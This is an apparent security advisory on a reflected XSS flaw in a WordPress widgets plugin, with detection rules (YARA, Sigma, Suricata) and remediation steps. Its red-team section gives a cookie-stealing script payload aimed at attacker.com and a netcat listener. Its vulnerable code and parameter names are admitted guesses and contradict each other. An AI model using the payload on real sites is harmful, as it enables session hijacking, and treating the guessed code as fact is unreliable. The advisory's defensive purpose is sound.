CVE-2025-23722

Executive Summary

CVE-2025-23722 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Mind3doM RyeBread Widgets WordPress plugin, version 1.0 and earlier. This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into a web page, which is then reflected back to the victim. The vulnerability is classified as CWE-79 and carries a CVSS score of 7.1 (High). Since this is a WordPress plugin, the attack surface is limited to sites running the vulnerable plugin, but exploitation can lead to session hijacking, credential theft, or defacement. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository or third-party sources. As a supply chain risk, any site using the mind3dom-ryebread-widgets plugin version 1.0 or earlier is exposed. The plugin’s lack of input sanitization in a parameter (likely a GET or POST parameter) allows reflected XSS. No official patch has been released, and the vendor’s status is unknown, making this a persistent supply chain threat.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: High (7.1) – Reflected XSS can be weaponized for phishing, session theft, or malware delivery.

Deep Dive & Mechanics

The vulnerability resides in the mind3dom-ryebread-widgets plugin, which likely processes user input via a shortcode or query parameter without proper sanitization or output encoding. When a victim visits a crafted URL containing malicious JavaScript, the plugin reflects the payload in the HTML response, executing it in the victim’s browser context.

Root Cause: The plugin fails to neutralize input during web page generation, specifically in a parameter (e.g., ?widget_id=... or a shortcode attribute). The lack of esc_html(), esc_attr(), or similar WordPress sanitization functions allows arbitrary script injection.

Attack Flow:

1. Attacker crafts a URL: https://victim-site.com/?ryebread_widget=<script>alert('XSS')</script>
2. Victim clicks the link (e.g., via phishing email).
3. The plugin reflects the payload in the page output.
4. The browser executes the injected script, enabling cookie theft, redirection, or keylogging.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be similar to:

Vulnerable Code (PHP):

<?php
// In mind3dom-ryebread-widgets.php
function ryebread_widget_shortcode($atts) {
    $widget_id = $_GET['widget_id']; // No sanitization
    return "<div class='ryebread-widget' data-id='$widget_id'>Widget</div>";
}
add_shortcode('ryebread_widget', 'ryebread_widget_shortcode');
?>

Patched Code (Hypothetical):

<?php
function ryebread_widget_shortcode($atts) {
    $widget_id = isset($_GET['widget_id']) ? esc_attr($_GET['widget_id']) : '';
    return "<div class='ryebread-widget' data-id='" . esc_attr($widget_id) . "'>Widget</div>";
}
add_shortcode('ryebread_widget', 'ryebread_widget_shortcode');
?>

The patched version uses esc_attr() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target WordPress site with mind3dom-ryebread-widgets version 1.0.
• No authentication required.

Exploit Payload:

<script>alert('XSS')</script>

Crafted URL:

https://target-site.com/?ryebread_widget=<script>alert('XSS')</script>

Advanced Payload (Cookie Theft):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Usage:

1. Host a listener on attacker machine: nc -lvnp 80
2. Send the crafted URL to the victim.
3. Capture cookies or execute arbitrary JavaScript.

Blue Team (Defensive)

Detection:

• Monitor web logs for unusual query parameters containing <script> tags.
• Use WAF rules to block reflected XSS patterns.

Lab Setup:

• Install WordPress with the vulnerable plugin in a sandboxed environment.
• Use Burp Suite or OWASP ZAP to test for XSS.

Mitigation:

• Disable the plugin immediately.
• Implement a virtual patch via WAF (e.g., ModSecurity rule).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ?ryebread_widget=<script> or similar patterns.
  • Outbound connections to attacker-controlled domains from victim browsers.
• File IOCs:
  • Plugin file: wp-content/plugins/mind3dom-ryebread-widgets/mind3dom-ryebread-widgets.php (version 1.0).
• Behavioral IOCs:
  • Unexpected JavaScript execution in the context of the WordPress site.
  • Unauthorized cookie exfiltration.

Detection Engineering

YARA Rule

rule CVE_2025_23722_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Mind3doM RyeBread Widgets"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23722"
    strings:
        $xss_payload = /ryebread_widget=.*<script/i
        $plugin_file = "mind3dom-ryebread-widgets.php"
    condition:
        $xss_payload or $plugin_file
}

Sigma Rule

title: Reflected XSS Attempt Against Mind3doM RyeBread Widgets
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects HTTP requests with reflected XSS payloads targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "ryebread_widget="
        c-uri|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23722 Reflected XSS in Mind3doM RyeBread Widgets"; flow:to_server,established; content:"ryebread_widget="; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Remove or deactivate mind3dom-ryebread-widgets until a patch is available.
2. Apply virtual patch – Use a WAF to block requests containing ryebread_widget= with script tags.
3. Monitor logs – Check for exploitation attempts using the Sigma rule above.

Long-Term Fix:

• Contact the vendor for an official patch.
• Replace the plugin with an alternative that is actively maintained.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• If the plugin is critical, manually sanitize the parameter in the plugin code (see patched code example).

Valters IT
DevSecOps & Cyber Threat Intelligence